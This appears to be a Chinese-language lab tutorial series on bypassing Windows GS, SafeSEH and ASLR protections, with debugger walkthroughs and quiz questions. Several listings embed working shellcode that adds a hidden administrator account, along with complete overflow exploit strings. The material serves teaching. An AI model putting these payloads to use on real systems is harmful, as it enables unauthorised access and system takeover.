来阻止对典型的栈溢出漏洞(字符串缓冲区)的利用。当应用程序启动时,
程序的cookie(4字节(dword),无符号整型)被计算出来(伪随机数)
并保存在加载模块的.data节中,在函数的开头这个cookie被拷贝到栈中,
位于EBP和返回地址的正前方(位于返回地址和局部变量的中间)。
[局部变量][cookie][保存的EBP][保存的返回地址][参数]
在函数的结尾处,程序会把这个cookie和保存在.data节中的cookie进行
比较。如果不相等,就说明进程栈被破坏,进程必须被终止。
2.编译选项
微软在VS2003以后默认启用了GS编译选项。本文使用VS2010。GS编译
选项可以通过菜单栏中的项目—配置属性—C/C++--代码生成—缓冲区安全
检查设置开启GS或关闭GS。
辅助工具:Olldbg调试器,ImmunityDebugger,mona.py,windbg.
我们的任务分为2个部分:
1.对开启GS编译的程序用覆盖返回地址尝试利用它。
2.实战几种绕过GS的技术。
任务描述:对开启GS编译的程序尝试覆盖返回地址利用它。
1.为了方便讲解,我们还是用前面的程序,并做了一些小小的改变。
//test.cpp:定义控制台应用程序的入口点。//
#include"stdafx.h"#include
LoadLibrary((_T("Netfairy.dll")));//载入Netfairy.dll模块char
str[30000]="AAAAAAAABBBB\x0f\x10\x02\x50\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";//定
上面代码关闭GS编译选项编译。为了方便讲解GS,我在编译程序的时候选择了禁用Rebase(基址随机化),ASLR(地址随机化),SafeSeh(在链接—命令行加入/SafeSeh:NO关闭),DEP(代码执行保护),并在C/C++--优化中选择以禁用,在C/C++--常规—警告等级中关闭所有警告。现在你只需要知道ASLR,SafeSeh,DEP也是一些保护措施,是应用程序更加安全,但是请放心,教程的后面我们会看到,所有的这些在特定的条件下都可以被绕过。你可以在C盘下找到上面代码test1.exe文件,运行前
运行test1.exe后
可以看到没开启GS编译选择前我们的shellcode运行良好。那么我们开启GS编译试试,你可以在C盘找到这个开启GS编译生成的的test2.exe运行test2.exe前
运行后
可以看到程序报错,但是shellcode没有执行成功,如果shellcode执行了,应该添加一个新用户。接下来我们调试下为何开启GS编译后就无法成功利用了。还是用Olldbg载入程序,默认情况下断在这里
看到了没,程序在执行前先初始化一个Cookie。为了证明它test函数确实受到了GS(安全Cookie)保护。我们单步到0x40123Cmain函数这里
F7跟进main函数,main函数全部代码从0x00401060到0x004010C4
004010AB|.E850FFFFFFcalltest2.test
可以看到在0x004010AB处calltest1.test就是我们的test函数了。在0x4010AB下断点,直接F9来到这里,然后F7跟进去
在test函数开始前,1处的
00401006|.A100304000moveax,dwordptrds:[__security_cookie]
把之前生成的安全cookie复制到eax。接着2处
0040100B|.33C5xoreax,ebp
将eax和ebp异或,生成新的cookie,结果保存到eax,下来是3处
0040100D|.8945FCmov[local.1],eax
把新的cookie保存到local.1处,也就是ebp上面。我们可以看看这个新的cookie值是啥,单步执行到这里
00401010|.8B4508moveax,[arg.1]
看看此时的堆栈
001889F4585D6618001889F8/0018FF44
001889FC|004010B0返回到test2.main+50来自test2.test
其中585D6618就是我们的安全cookie了。为了看清它是如何保护我们的程序。我们单步到
00401051|.E86F000000calltest.__security_check_cookie
继续往下执行,程序直接终止。我们重新载入程序,来到0x00401051处,NOP掉0x00401051这句
接着往下执行到
00401059\.C3retn
注意看此时的堆栈
原来0x1889FC保存的返回地址已经被0x5002100F覆盖了,
而且0x5002100F是jmpesp的地址,我们还可以看到在保存的返回地址的下面就是我们的shellcode。也就是说程序子返回时会先执行jmpesp,然后执行shellcode。看到开启GS和不开GS编译的区别了。其实开始GS编译后会在test函数返回前执行
00401051E87A000000calltest.__security_check_cookie
这句代码会比较保存在data中的cookie和我们堆栈中的cookie,如果不一样,说明发生了栈溢出,程序直接退出。因为我们要覆盖返回地址的话,必然把堆栈的cookie也改变了。所以在有GS保护的情况下,我们不能直接覆盖返回地址利用了。
关于GS机制,以下说法正确的是?【单选题】
【A】GS机制使得我们不能覆盖返回地址
【B】如果开启了GS编译,那么所有的函数都受到GS保护。
【C】特定条件下可以通过覆盖虚表指针利用
【D】GS彻底摧毁基于栈溢出覆盖返回地址攻击
任务描述:学习绕过GS的办法
1.通过同时替换栈中和.data节中的cookie来绕过。【不推荐】
2.利用未被保护的缓冲区来实现绕过
3.通过猜测/计算出cookie来绕过【不推荐】
4.基于静态cookie的绕过【如果cookie每次都是相同的】
5.覆盖虚表指针【推荐,本文演示这种技术】
6.利用异常处理器绕过【推荐,本文不演示】为了演示覆盖虚表指针这种技术,我将使用下面的代码
#include"stdafx.h"
#include"windows.h"
classTestClass
public:
void__declspec(noinline)test1(char*src)
strcpy(buf,src);
test2();//调用虚函数test2
virtualvoid__declspec(noinline)test2()
};
charstr[8000];
LoadLibrary(_T("Netfairy.dll"));
TestClasstest;
test.test1("AAAABBBBCCCCDDD");
你可以在C盘下找到这段代码对应的程序:test3.exe。【注】为方便演示,我关闭了ASLR,DEP,SafeSeh编译选项,在vs2010下编译。
TestClass对象在main函数的堆栈中分配空间,并在main函数中被调用,然后对象test被做为参数传递给存在漏洞的成员函数test1(如果把大于8字节的字符串拷贝到buf,buf就会被溢出。)。完成拷贝后,一个虚函数会被执行,因为前边的溢出,堆栈中指向虚函数表的指针可能已经被覆盖,这样就可以把
程序的执行流重定向到shellcode中。用Olldbg载入程序,查看test1函数的代码
test1函数是受到GS保护的函数,在
00401006A118304000moveax,dwordptrds:[test.__security_cookie]0040100B33C5xoreax,ebp
0040100D8945FCmovdwordptrss:[ebp-4],eax设置安全cookie。在
0040105EE854000000calltest.__security_check_cookie进行检验,如果栈中的cookie被覆盖,那么程序将直接退出。但是我们注意到,在调用校验函数的时候,test1函数先调用了test2函数
00401057FFD0calleax;test.TestClass::test2而test2是虚函数,所以我们可以覆盖保存在栈中的虚表指针,间接跳到我们的shellcode。我们先执行到
004010508B10movedx,dwordptrds:[eax]观察此时的eax为0x0018FF40,这个地址保存着虚表指针。再执行到00401057FFD0calleax;test.TestClass::test2
当输入“AAAABBBBCCCCDDD”时,刚刚开始覆盖到返回地址。如果我们输入很多字符的时候,多到恰好能覆盖虚表指针那么我们就能控制程序。我们可以计算出多少字符能够覆盖到虚表指针
X=0x0018ff40-0x0018dfe4=0x1f60,十进制就是8028。我们可以试一下,把test.test1("AAAABBBBCCCCDDD");中的AAAABBBBCCCCDDD改为8028个A。重新编译,你可以在C盘找到这个文件:test4.exe,用Odlldbg载入,执行到00401057FFD0calleax
可以看到8028个A刚好能覆盖到虚表指针。接下来就是构造利用了。找一个地址,这个地址保存的值指向我们的A。我们最好在没有开启ASLR的模块找,Netfairy.dll就是一个不错的选择。很快,我用Olldbg的搜索功能找到了一个
0x500295A2保存的0x0018E1E8指向我们的AAAAAA…。下来我们把虚表指针覆盖为0x500295A2,把8028个A替换为我们的shellcode,不足的用\x90补充。务必记住,把shellcode放在0x0018E1E8之后,否则利用失败。所以完整的Exploit你可以在C:\下的code.cpp找到。C:\下的test4.exe是code.cpp编译出来的可执行文件,运行前
尽管堆栈中的cookie被破坏了,但我们依然劫持了EIP(因为我们溢出了虚函数表指针,并控制了eax),从而控制了程序的流程,执行了我们的shellcode。
【A】虚表指针是指向虚函数的指址
【B】虚表在创建对象的时候建立。
【C】本例子也可以覆盖seh异常处理利用
【D】我们总能通过覆盖虚表指针绕过GS机制
5.2.3.练习
思考题
思考如何通过覆盖SEH利用这个程序【注:酌情给分】
网络精灵-软件漏洞学习之缓冲区溢出
网络精灵:www.netfairy.net
从零开始学习软件漏洞挖掘系列教程第五篇:突破SafeSeh防线
通过该实验了解绕过SafeSeh的方法,能够成功绕过SafeSeh执行shellcode,
并学会如何编写更加安全的代码,提高网络安全意识。
1.关于SafeSeh的一些基础知识
设计SafeSEH保护机制的目的,以为了防止那种攻击者通过覆盖堆栈上的异常处
理函数句柄,从而控制程序执行流程的攻击。自WindwosXPSP2之后,微软就
已经引入了SafeSEH技术。不过由于SafeSEH需要编译器在编译PE文件时进行
特殊支持才能发挥作用,而xpsp2下的系统文件基本都是不支持SafeSEH的编译
器编译的,因此在xpsp2下,SafeSEH还没有发挥作用(VS2003及更高版本的编
译器中已经开始支持)。从Vista开始,由于系统PE文件基本都是由支持SafeSEH
的编译器编译的,因此从Vista开始,SafeSEH开始发挥他强大的作用,对于以前
那种简单的通过覆盖异常处理句柄的漏洞利用技术,也就基本失效了。
2.SafeSeh保护原理。
SafeSEH的基本原理很简单,即在调用异常处理函数之前,对要调用的异常处理函
数进行一系列的有效性校验,如果发现异常处理函数不可靠(被覆盖了,被篡改了),
立即终止异常处理函数的调用
辅助工具:Olldbg调试器
如果你用的是XPSP1系统,或许一个攻击者可以轻易通过覆盖SEH攻击系统上存在漏洞的程序,然而,微软早已经意识到这一点,所以在XPSP2加入了SafeSeh。微软的安全工程师也知道,这不能一劳永逸,解决所有的软件安全问题。很快,聪明的黑客们发现了漏洞……下面让我们一起探寻黑客与微软安全工程师斗智
斗勇的传奇故事吧!
1.介绍常见的绕过SafeSeh的技术。
2.演示一种绕过技术。
任务描述:学会查看哪些模块开启了SafeSeh,了解常见绕过SafeSeh技术。
对于目前的大部分windows操作系统,其系统模块都受SafeSEH保护,可以选
用未开启SafeSEH保护的模块来利用,比如漏洞软件本身自带的dll文件,这个可
以借助OD插件SafeSEH来查看进程中各模块是否开启SafeSEH保护。如图
Error表示无法识别,不确定是否开启了SafeSEH。/SafeSehON表示该模块受到SafeSeh保护。/SafeSEHOFF表示模块未开启SafeSeh保护。由上图可以看到ntdll.dll和test1.dll未受到SafeSeh保护。你可以在C:\找到这个test1.exe文件。
1.在Exploit中不利用SEH(而是通过覆盖返回地址的方法来利用,前提是模块没有GS保护)关于如何覆盖返回地址利用我在:从零开始学习软件漏洞挖掘系列教程第二篇:栈溢出覆盖返回地址实践已经详细讲了。准确来说我觉得这不算是绕过,但是它往往是很成功的。【推荐指数:10】
2.如果程序编译的时候没有启用safeseh并且至少存在一个没启用safeseh的加载模块(系统模块或程序私有模块)。这样就可以用这些模块中的pop/pop/ret指令地址来绕过保护。前面那个test1.exe程序就有ntdll.dll和test1.exe这两个模块没有启用SafeSeh,所以我们仍然可以利用这两个模块的指令地址绕过SafeSeh。【推荐指数:8】
3.如果只有应用程序没有启用safeseh保护机制,在特定条件下,你依然可以成功利用,应用程序被加载的地址有NULL字节,如果在程序中找到了pop/pop/ret指令,你可以使用这个地址(NULL字节会是最后一个字节),但是你不能把shellcode放在异常处理器之后(因为这样shellcode将不会被拷贝到内存中–NULL是字符串终止符)【推荐指数:4】
4.从堆中绕过SafeSeh。【推荐指数:1】
5.利用加载模块外的地址绕过SafeSeh。【推荐指数:6】
除了平时我们常见的PE文件模块(exe和dll)外,还有一些映射文件,我们可以通过Olldbg的View-memory查看程序的内存映射状态。例如下图
类型为Map的映射文件,SafeSeh是无视它们的。当异常处理函数指针指向这些地址范围时候,是不对其进行有效性验证的。所以我们可以通过在这些模块找到跳转指令就可以绕过SafeSeh。
6.利用AdobeFlashPlayerActiveX控件绕过SafeSeh【推荐指数:1】
关于SafeSeh,以下说法错误的是?【单选题】
【A】SafeSeh不可能杜绝所有基于覆盖异常处理的攻击。
【B】从XPSP1之后微软加入了SafeSeh机制
【C】利用.nls模块可以绕过SafeSeh
【D】SafeSeh是针对利用异常处理的保护措施
任务描述:实战当只有应用程序本身没有开启SafeSeh时如何绕过SafeSeh技术。原理:如果只有应用程序没有启用safeseh保护机制,在特定条件下,你依然可以成功利用,尽管应用程序被加载的地址有NULL字节【应用程序加载的地址一般是0x00开头】,但如果在程序中找到了pop/pop/ret指令,你可以使用这个地址覆盖SEHandler(NULL字节会是最后一个字节)。我们可以把shellcode放到PointertonextSEHrecord的前面,在PointertonextSEHrecord加一个跳到shellcode的跳转,所以我们可以直接忽视0x00截断问题。
1.当所有系统的模块都开启了SafeSeh,而我们又不得不利用SafeSeh时,我们希望程序本身没有没有SafeSeh,幸运的是,这种情况非常常见。为了方便演示这种技术,我使用下面的代码:
#include"stdafx.h"#include"windows.h"inttest(char*str){
charbuffer[256];strcpy(buffer,str);return0;
intmain(){
chartemp[2048];test("AAAA");return0;
【注】我在vs2010下编译,请关闭DEP,SafeSeh选项。你可以在C:\找到这个test3.exe。用OD的SafeSeh查看那个模块没有开启SafeSeh。
但是似乎除了test3.exe还有ntdll.dll没有SafeSeh。但是我用另外一个插件扫面同样的文件发现只有test.exe没有SafeSeh。所以大家千万不要太相信插件,它们不总是对的。不管怎么样,我们假设只能利用应用程序的地址。你可以在C:\找到这个test3.exe文件。下面计算多少字符能够覆盖到默认SEH。用ImmunityDebugger产生10000个随机字符序列:
找到这个pattern.txt,用这个10000个字符替换
test("AAAA");中AAAA。然后重新编译,你可以在C:\找到这个test4.exe。用Windbg载入,执行两次g,然后!exchain。如图
!exchain查询异常信息,可以看到,nseh【注:下文提到的nseh为PointertonextSEHrecord,n是next的意思。Nseh是指向下一个异常处理结构的指针,seh是异常处理函数的指针。】已经被覆盖为0x62443961(bD9a),回到ImmunityDebugger,执行!monapobD9a。
2368字节可以覆盖到nseh。我们可以验证一下,改为
test(“AAAAAAAAAAAAAAAAA……”);里面是2368个A。重新编译,你可以在C:\找到这个test5.exe,用ImmunityDebugger载入,直接运行
看到了吧,刚好能覆盖到nseh。下面就是在应用程序的模块找poppopretn序列地址。我们不能在系统dll模块找,因为它们有SafeSeh保护,将导致我们的shellcode执行失败。我用ImmunityDebugger的搜索功能r32是模糊匹配32位寄存器。
幸运的是poppopretn这种指令很多,很快,我在0x00401231找到了一个
00401231.59POPECX00401232.59POPECX00401233.C3RETN下面就是构造溢出字符串:
buf+nseh+seh+nops+shellcode
但不幸的是,我们的poppopretn指令地址0x00401231有截断字符\00。会导致后面的shellcode被截断。我们得想办法解决:那么把shellcode放前面,在seh后面加一个跳转跳到我们的shellcode?你也许觉得可以。其实,这不行,因为seh后面都被截断了,无法在seh后面放跳转指令跳到shellcode。但是,注意到程序在执行poppopretn后会跟踪执行nseh指令,而nseh在seh前面,不会被截断。因此我们可以在nseh跳到shellcode。把shellcode布置到nseh前面的buf中。由前面我们知道,2368个字符可以覆盖到nseh,我们在其中放置shellcode,不足的用\x90填充。我看了下我们shellcode长度是194字节,所以我们可以把shellcode布置在nseh前的194字节处(经手工计算shellocde应该从0x0018FEB8开始),shellcode前面用\x90填充。那么nseh这里写什么呢?它应该是跳到前面的shellcode的指令,我们可以用ImmunityDebugger。转到nseh所在地址0x0018FF78。按空格键,在这一行反汇编:jmp0x0018FEB8(shellcode地址)
然而我发现这不行,我们nseh只能放四个字节长的指令,jmp0x0018FEB8指令五字节。但我们还有解决的办法:把shellcode在往上移动八个字节,在nseh前面就空出了八个字节,在这里放置跳转到shellcode的地址,nseh放置跳转到那八个字节。继续,shellcode往上移动八个字节就到了0x0018FEB0处,nseh跳到它前面的把个字节0x0018FF70处。
所以nseh应该放置0x9090F6EB,用同样的办法
Nseh前面的八个字节应该放0x909090FFFFFF39E9。我一开始构造的Exploit如
下:
inttest(char*str)
charbuffer[256];
strcpy(buffer,str);
chartemp[2048];
test("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52
\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc
2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a\x24\x0
1\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x7
2\x6f\x68\x2f\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41\x
64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44\x44\
x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65
\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe5\xf
e\x4d\x53\x31\xc0\x50\x55\xff\xd7\xe9\x39\xff\xff\xff\x90\x90\x90\xeb\xf6\x90\x90\x31\x12\x40");
你可在C:\找到这个test6.exe文件。下面我们动态跟踪程序的执行流程:用ImmunityDebugger载入,直接运行
我们把返回地址覆盖为\x90\x90\x90\x90了,而这这地址不可执行,程序抛出异常。在poppopretn指令地址下断点
00401231.59POPECX
然后Shift+F9把异常交给SEH处理。程序会断在0x00401231处。
00401233.C3RETN
此时的esp为0x0018f328
也就说是接下来程序会到0x0018ff78执行。我们按下F8
这个就是nseh处的跳转指令,它又跳到nseh前八个字节处【注意当前指令地址0x0018ff78和jmp的目标地址0x0018ff70】继续F8。
又是一个跳转,这回才是跳到我们的shellcode,不信?去0x0018FEAE看看
看到没,即将执行指令的机器码是:31D2B230648B12……….我们的shellcode机器码是:31D2B230648B128B520C8B5……….在继续执行前,我们看下
然后直接F9运行程序
Boom!!!成功了,不是吗?
【A】本实验nseh处的指令跳到我们的shellcode
【B】本实验不可以把shellcode布置在SEH后面
【C】截断符会影响漏洞利用
【D】SafeSeh会把寄存器清0。
网络精灵的博客
从零开始学习软件漏洞挖掘系列教程第六篇:进击ASLR地址随机化
通过该实验了解绕过ASLR的方法。
1.关于ASLR的一些基础知识
ASLR(Addressspacelayoutrandomization)是一种针对缓冲区溢出的安全保
护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预
测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目
的。
2.如何配置ASLR
ASLR的实现需要程序自身的支持和操作系统的双重支持。在WindowsVista
后ASLR开始发挥作用。同时微软从VS2005SP1开始加入/dyanmicbase链
接选项帮助程序启用ASLR。
辅助工具:ImmunityDebugger调试器,mona.py
前面我们的漏洞利用很多都是基于一个事实:硬编码jmpesp或poppopretn地址。所谓惹不起躲得起,为微软的ASLR技术就是通过加载程序时不再使用固定的基地址,从而干扰shellcode定位的一种技术。ASLR发挥作用后,简单的用jmpesp或poppopretn的方法将无法利用成功,因为jmpesp或者poppopretn地址每次重启机器都会变化。然而攻击者已经用事实告诉我们,ASLR并非不可
绕过。
1.介绍常见的绕过ASLR技术。
2.用其中一种技术实战演示。
任务描述:了解常见绕过ASLR技术。
首先,在开始之前。我想告诉你一件事:ASLR只是随机了地址的一部分,如果你重启后观察加载的模块基地址你会注意到只有地址的高字节随机,当一个地址保存在内存中,例如:0x12345678,当启用了ASLR技术,只有:“12”和“34”是随机。换句话说,0x12345678在重启后会变成0xXXXX5678(XXXX随机值)在某些情况下,这可能使黑客利用/触发执行任意代码。
想象一下,当你攻击一个允许覆盖栈中返回地址的漏洞,原来固定的返回地址被系统放在栈中,而如果启用ASLR,被随机处理后的地址被放置在栈中,比方说返回地址是0x12345678(0x1234是被随机部分,5678始终不变),如果我们可以在0×1234XXXX(1234是随机的,但嘿-操作系统已经把他们放在栈中了)空间中找到有趣的代码(例如JMPESP或其他有用的指令)。我们只需要在低字节所表示的地址范围内找到有趣的指令并用这些指令的地址替换掉栈中的低字节。让我们看下下面的test1.exe程序,你可以在C:\找到,在调试器中打开test1.exe并查看加载模块的基地址。
重启并执行相同的操作:
注意比较这两个图。比如重启前的test模块加载的基地址是0x01020000,重启后test模块加载的基地址是0x012D0000。看到了吧,只有加载地址的两个高字节被随机化,所以当你需要使用这些模块的地址时,无论如何也不能直接使用这些地址,因为它会在重启后改变。常见的绕过ASLR技术:
1.使用未受ASLR保护模块的地址。
地址随机化只会出现在有ASLR保护的模块,如果某个模块没有ASLR保护,那么我们任然可以使用该模块的jmpesp,poppopretn等地址。我们可以使用ImmunityDebugger的mona.py插件来查看未开启aslr保护的模块,用ImmunityDebugger载入test2.exe,运行。(在C:\可以找到)然后在底部输入:!monanoaslr
在这个例子中只有我们的test2.exe没有aslr。很多时候程序都自带有许多.dll文件,这些文件往往没有aslr保护,你任然可以利用它们里面的地址。
2.利用Heapspray技术定位内存地址。这种技术的思路就是如果我们可以在应用程序内申请足够大的内存。例如申
请到的地址覆盖到0x0c0c0c0c,那么我们总可以把返回地址覆盖为0x0c0c0c0c,然后在0x0c0c0c0c放上我们的shellocde,程序返回时直接去执行shellocde,无视aslr。
3.猜测随机地址,暴力破解等等。
4.Tombkeeper在CanSecWest2013上提出的基于SharedUserData的方法从WindowsNT4到Windows8,SharedUserData的位置一直固定在地址0x7ffe0000上。从WRK源代码中nti386.h以及ntamd64.h可以看出:#defineMM_SHARED_USER_DATA_VA0x7FFE0000
在x86Windows上,通过Windbg,可以看到:
0:001>dt_KUSER_SHARED_DATASystemCall0x7ffe0000ntdll!_KUSER_SHARED_DATA+0×300SystemCall:0x774364f0
0x7ffe0300总是指向KiFastSystemCall0:001>ufpoi(0x7ffe0300)ntdll!KiFastSystemCall:
774364f08bd4movedx,esp774364f20f34sysenter774364f4c3ret
反汇编NtUserLockWorkStation函数,发现其就是通过7ffe0300进入内核的:
0:001>ufUSER32!NtUserLockWorkStationUSER32!NtUserLockWorkStation:
75f70fadb8e6110000moveax,11E6h
75f70fb2ba0003fe7fmovedx,offsetSharedUserData!SystemCallStub(7ffe0300)75f70fb7ff12calldwordptr[edx]75f70fb9c3ret
这样,在触发漏洞前合理布局寄存器内容,用函数在系统服务(SSDT/ShadowSSDT)中服务号填充EAX寄存器,然后让EIP跳转到对应的地方去执行,就可以调用指定的函数了。但是也存在很大的局限性:仅仅工作于x86Windows上;几乎无法调用有参数的函数。
64位Windows系统上0x7ffe0350总是指向函数ntdll!LdrHotPatchRoutine。HotPatchBuffer结构体的定义如下:
structHotPatchBuffer{
ULONGNotSoSure01;//&0×20000000!=0ULONGNotSoSure02;
USHORTPatcherNameOffset;//结构体相对偏移地址USHORTPatcherNameLen;USHORTPatcheeNameOffset;USHORTPatcheeNameLen;USHORTUnknownNameOffset;USHORTUnknownNameLen
LdrHotPatchRoutine调用方式:
voidLdrHotPatchRoutine(struct*HotPatchBuffer);在触发漏洞前合理布局寄存器内容,合理填充HotPatchBuffer结构体的内容,然后调用LdrHotPatchRoutine。
如果是网页挂马,可以指定从远程地址加载一个DLL文件;如果已经经过其他方法把DLL打包发送给受害者,执行本地加载DLL即可。此方法通常需要HeapSpray协助布局内存数据;且需要文件共享服务器存放恶意DLL;只工作于64位系统上的32位应用程序;不适用于Windows85.利用内存信息泄漏
通过获取内存中某些有用的信息,或者关于目标进程的状态信息,攻击者通
过一个可用的指针就有可能绕过ASLR。这种方法还是十分有效的,主要原因如下:
(1)可利用指针检测对象在内存中的映射地址。比如栈指针指向内存中某线程的栈空间地址,或者一静态变量指针可泄露出某一特定DLL/EXE的基址。
(2)通过指针推断出其他附加信息。比如栈桢中的桢指针不仅提供了某线
在Vista系统的ASLR中,信息泄漏的可用性更广了。如果攻击者知道内存中某一映射地址,那么他不仅可获取对应进程中的DLL地址,连系统中运
行的所有进程也会遭殃。因为其他进程在重新加载同一DLL时,是通过特定地址上的_MiImageBitMap变量来搜索内存中的DLL地址的,而这一bitmap又被用于所有进程,因此找到一进程中某DLL的地址,即可在所有进程的地址空间中定位出该DLL地址。
6.部分覆盖返回地址。
关于ASLR,以下说法正确的是?【单选题】
【A】ASLR使得每次重新载入程序后基地址都变化。
【B】strcpy可以控制的地址范围是0xXXXX0000-0xXXXXFFFF。
【C】ASLR通过随机化基址增加攻击难度
【D】Heapspray技术是通过把返回地址覆盖为0x0c0c0c0c利用
任务描述:利用部分覆盖定位内存地址。
前面我们说过:ASLR只是随机了地址的一部分,如果你重启后观察加载的模块基地址,你会注意到只有地址的高字节随机。比如0x12345678这个地址,0x1234是随机的,我们不用去管它,操作系统会帮我们放到栈中,但0x5678是固定的,那么我们可以覆盖它最后的两个字节,如果通过memcpy函数攻击的话就可以把这个返回地址控制为0x12340000-0x1234ffff中的任意一个。如果通过strcpy函数攻击,因为strcpy会自动在复制结束后添加0x00,所以我们能控制的地址为0x12340000-0x123400ff。用于演示这项技术的代码如下:
charbuffer[256];memcpy(buffer,str,262);
_asm{
leaedx,buffer
jmpedx}
为了方便演示,我用vs2010并且关闭GS,DEP编译选项编译,你可以在C:\找到这个test3.exe文件。用ImmunityDebugger载入
定位到test函数代码【注:你看到的地址和我的不一样,因为aslr作用】
注意观察此时test函数的返回地址是0x008D103D,然后执行到下面的retn。
你再观察此时的返回地址变成了0x008D9090,返回地址前面也被覆盖为\x909090…。也就是说,我们的输入造成了缓冲区溢出,刚好把返回地址的低两个字节覆盖为\x90\x90了。然而前面我们知道,低两个字节是固定的所以我们可控的返回地址为0x008D0000到0x008DFFFF,如果我们能在这个地址范围内找到jmpesp指令…….但是注意!!!jmpesp跳到shellcode的办法在这里并不能用。因为我们不能覆盖到返回地址的高两个字节以下,一但覆盖了返回地址的高字节,那么返回地址我们将不可控,因为我们硬编码了返回地址,而这个地址对应的指令是未知的,因此shellocde不能布置在返回地址后面,所以不能用jmpesp的办法跳到shellcode。显然,我们可以把shellcode放到返回地址前面,然后把返回地址覆盖为跳到shellcode指令的地址。如果此时有某个寄存器指向我们的\x90\x90\x90…..也就是buffer局部变量的起始地址或者起始地址下面,我们就可以用jmp该寄存器指令的地址覆盖返回地址。如果你注意看此时的寄存器窗口
会发现EDX=0x0036FA58,而这个地址正是我们buffer的起始地址
因此,我们可以在0x008D0000-0x008DFFFF的范围内找到一条jmpedx指令,用jmpedx指令地址覆盖返回地址,就可以成功跳到我们可控的缓冲区。很快我在0x008D1040找到了一条,它的高两个字节不用管,系统会自动帮我们加上。
下面构造我们的Exploit:用\x10\x40替换我们前面源码的最后两个\x90\x90,把\x10\x40前面的\x90用我们的shellcode替换,不足的用\x90填充。所以完整的Exploit是:
leaedx,buffer}
_asm
你可以在C盘找到这个test4.exe,运行它
似乎shellcode没有成功执行。我们动态跟踪一下,用调试器载入,来到test
函数
到这里看起来都还正常啊,能执行到我们的shellcode,继续往下单步执行
执行到这一句
001BF9CB202FANDBYTEPTRDS:[EDI],CH
就无法继续,程序显示发生访问异常。原来是我们的shellcode出问题了,现在你所要做的,就是重新找一个shellcode替换前面的shellcode就好了。到这里,我们控制了程序流程,成功绕过ASLR。然而你会发现,实际上ASLR已经给攻击者造成了非常多的麻烦,如我们在源码中加入
才使得EDX刚好指向我们的shellocde,实际中你也许并不能找到某个寄存器指向我们的shellcode,也许你足够幸运的话或许有,这纯考验人品。所以当你在绕过ASLR中,发现某个模块没有开启ASLR(包括系统模块和程序自带dll,但是注意截断符\x00),不用想了,直接用它们。
【A】可以攻击未启用ASLR模块绕过ASLR保护
【B】部分覆盖返回地址绕过ASLR技术可以把shellcode放在返回地址后面
【C】可以覆盖SEH异常处理绕过ASLR。
【D】在Win7默认开启了ASLR保护机制
1)本题如何利用未开启ASLR模块绕过ASLR机制保护
从零开始学习软件漏洞挖掘系列教程第七篇:实战挖掘Mini-streamRipper缓冲区溢出漏洞
通过利用一个存在漏洞的程序,巩固前面学过的知识。
【注意】由于环境原因,你在实验看到的地址和我的不一样,后面要填充的
字符也不一样,不要照搬我的,否则你将失败,一切以你在实验过程中看到的为
准!
1.关于Mini-streamRipper2.7缓冲区溢出漏洞
2015-3-6TUNISIANCYBER在exploit-db报告了一个Mini-streamRipper缓
报告指出通过构造一个恶意m3u文件,诱使受害用户打开文件,可以执行
任意代码。
2.关于m3u文件的知识
M3U本质上说不是音频文件,它是音频文件的列表文件。你下载下来打开它,播放软
件并不是播放它,而是根据它的记录找到网络地址进行在线播放。M3U文件的大小很
小,也就是因为它里面没有任何音频数据。把M3U文件直接转换为音频文件是不可能
的,除非你把它指向的音频文件下载下来再作处理……
m3u格式的文件只是一个目录文件,提供了一个指向其他位置的音频视频文件的索
引,你播放的还是那些被指向的文件,用记事本打开m3u文件可以查看所指向文件的
